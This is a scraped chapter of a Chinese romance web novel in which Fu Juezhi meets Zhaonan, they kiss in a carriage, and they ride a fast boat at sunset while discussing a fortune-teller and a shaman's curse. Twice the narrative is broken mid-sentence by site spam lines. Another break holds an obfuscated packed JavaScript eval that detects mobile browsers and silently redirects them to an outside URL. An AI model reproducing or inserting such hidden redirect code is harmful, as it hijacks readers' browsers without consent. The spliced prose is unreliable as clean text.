从望河镇去往江湾还有一小段陆路要走。
傅觉止早已差人在酒楼外备好了舒适宽敞的马车。
昭南从见到人起,就开始止不住地叽叽喳喳。
他不犯困后精力充沛,绕着傅觉止兴奋打转,小嘴不停。
傅觉止牵不住人,也不愿扰了昭南的兴致,便虚拢着他护住不让磕碰,随着他又笑又闹。
傅觉止敛眉低笑,目光落在昭南雀跃的眉眼上,听许久也听不够。
最后走过酒楼牌匾,他扶着昭南上了马车,自己再进入车厢,俯身在他白皙光洁的鼻尖落下一吻。
浅淡清冽的松香萦绕,昭南被整个抱进了怀里。
傅觉止稳稳接住他,修长手臂环住纤细的腰身,指腹习惯性地摩挲他后腰的软肉。
随后阖眼,饱含思念似的,餍足地喟叹一声:“让团团久等了。
昭南的身形小上一圈,蜷进傅觉止怀里被温温软软地抱个满怀。
鼻尖上的触感撤去,他仰起脸,眼睛亮得惊人,目光灼灼地落在傅觉止殷红的薄唇上,心念一动,忽地支起身子,撅嘴,往上重重亲了一口。
傅觉止察觉,随后垂眸,黑沉的视线看着他。
昭南声音带着雀跃,回他的上句话:“没有等很久。
他仰起脸又亲上去,笑得惬意:“我在那里玩得好开心。
字句从微张的唇间溢出,成了笑意满满的分享。
昭南说:“一开始还想着给霍承川写信,结果玩得太高兴,全忘啦。
傅觉止抬起指尖,温热的指腹轻轻抵上他的下颌,带着人微微仰脸,将方才那个浅尝辄止的细吻加深,吮着他的软肉含进唇里。
很温柔的吻法。
昭南喜欢这个。
傅觉止抚着他放松的脊背,微抬眼睫,笑着哄他:“好。
“等团团回船,就继续写给他。
相缠的气息融得太深,傅觉止沙哑的声音一字一顿,低沉醇厚,昭南听得耳朵痒。
他笑着躲了一下,又被轻轻拨回脸,下唇陷进了温柔啃噬的齿列。
傅觉止咬着他。
已近黄昏,从微敞车窗外透进的光线带着暖色的橘黄。
昭南被咬得
你的朋友正在书荒,快去帮帮他吧
尾音发黏,气息也乱了。
傅觉止见人憋红了耳垂,眼尾也洇开薄红,重重吮了一口舌尖,便退出来。
昭南被放过,咽急促下唇里交融的津液,气还没喘匀,又哼哼唧唧地说起来。
“孔大人还会给人算命呢。”
傅觉止轻轻拍着他的背顺气,闻言笑了:“这样啊。团团算什么了?”
“大人说了好多,但我听不太懂。”
昭南伏在他的肩头平复呼吸,单薄的脊背细细起伏着,是被含得狠了。
他对于其中几句还是记得清楚,此刻也想说给傅觉止听。
“他说你命数安然圆满,忙完事情以后一定能平安归来。”
昭南仰起脸,看着人笑:“很好的。”
傅觉止也微微颔首。
他声音温和,唇间溢出极轻的低笑,问:“那我们团团呢?孔大人如何说?”
话语满是纵容,无尽迁就。
孔志明细细说过,但昭南对于他的那番长篇大论是真的没听懂。
如今见傅觉止问,也敛下眉,认真回想:“说了什么故土,浮萍?还说……这里也能是我的归宿?”
傅觉止垂眸,了然。
他托着昭南的腰臀,将人抱得往上坐,俯首与他鼻尖轻蹭,交颈缠吻,声音里满是藏匿的欲色,笑着。
“孔大人神机妙算。”
这个吻太深,在辗转厮磨,气息便又沉下来。
“说得确实……半分不错。”
……
主船体型豪富庞大,并未停靠在望河镇喧闹的码头。
岸边泊着一艘舒适宽大的船舫,四周荡漾着未平息的水纹,显然是才停靠不久。
周边停着几帆细长轻巧的快舟。
快舟吃水浅,船身狭隘窄长,因着设计,在水里也能划得比其他船快。
昭南下了马车,路过为首的那艘快舟,余光也就正好瞥见了。
船头上随意搭着一件款式熟悉的玄色披风。
是傅觉止用惯的云锦,上面也绣着矜贵的暗纹。
他忽地福至心灵,仰起脸,目光看向身侧牵着自己缓步慢走的傅觉止。
昭南伸手指了指快舟,问:“你是坐这
你的朋友正在书荒,快去帮帮他吧
艘小船来的吗?”
傅觉止神色闲适,闻言微微侧首,俊美的眉眼望向昭南指去的方向,顿了片刻后颔首承认。
他应是笑了笑,回道:“是因为太想团团了。”
昭南听得一怔。
傅觉止捻着他柔嫩的指腹,垂眸:“其余的船都太慢,我要早点见到团团,这种快舟才最好。”
他眉目本是温和,说这一番话似是回忆起了当时乘船
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162674|196599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的焦躁,此时也微微蹙起,等俯首吻上昭南的眉心才平息作罢。
昭南感受到一触即分的温热,也抿着唇嘿嘿笑,明白了:“喔。”
他看着快舟轻巧的船头,也眨了眨眼:“我也想坐这个回去。”
一双圆眼清澈透亮,里头盛了满满的雀跃兴致。
傅觉止碰了碰他的脸,应允:“福海,去船上取绒毯来。”
太阳将要沉下,江面吹来的风带了点夜间的湿气。
末春时节,倒是不冷。
快舟随着桨木运动缓缓离岸。
坐在这里,与坐在船舱的感觉全然不同。
连绵的山势仿佛就长在水面,波澜壮阔,红日也近在咫尺,仿佛一伸手就能碰见。
昭南身下垫了厚实暖和的毛毯,身上也被傅觉止裹了件外衫防风。
他忍不住伸出手,指尖顺着水流轻轻划过江面,整张小脸陷在落日余晖下,显得恬静又温软。
实际似是叽喳的小雀,红唇张合,闹着说个不停。
他神色惊喜,眉眼笑成月牙:“我好像摸到鱼了!”
傅觉止一直看着人,此时见他不信邪地探出小半个身子往更深里摸,不免蹙眉提醒,语气有些重:“团团。”
他小臂修长,环住昭南的腰往回带,圈着不让人再跑了去。
随即又拿了净爽的软帕,敛眸替人擦着手指。
昭南也玩得尽兴了,乖乖地将双手张开递给他,和猫爪开花似的,任由帕子轻轻抚过湿润的指缝。
他看着眼前壮丽的落日,心头却不知怎的,想起在酒楼听到的故事,没头没脑地问了一句。
“方才说书先生说,北辽萨满在三十年前发过毒咒,说北辽的铁骑终有一日能踏平大昌。”
终有一日是哪一日?
如果真成了那样,大昌原本的百姓会被驱逐吗?这里的人还能不能看见这样的落日?
昭南想的漫无目的,他从没接触过战争,只是听见这种残酷的诅咒,都觉得心里不舒服。
“不会。”
傅觉止闻言,想起今下午的那位熟人。
北辽萨满一职代代相传,竟连临死前的恫吓之语也沿袭得一字不差。
他低笑一声,指尖将昭南颈侧的碎发拂去后面,温声道:“若真有效,三十年前就该应验了。”
落日余晖洒满江面,随着一声落下,整个红日完全沉落,暮色四合。
傅觉止明白昭南心里无措的忧思,也缓声安抚,声色沉稳:“团团,那些话,听过便忘了。”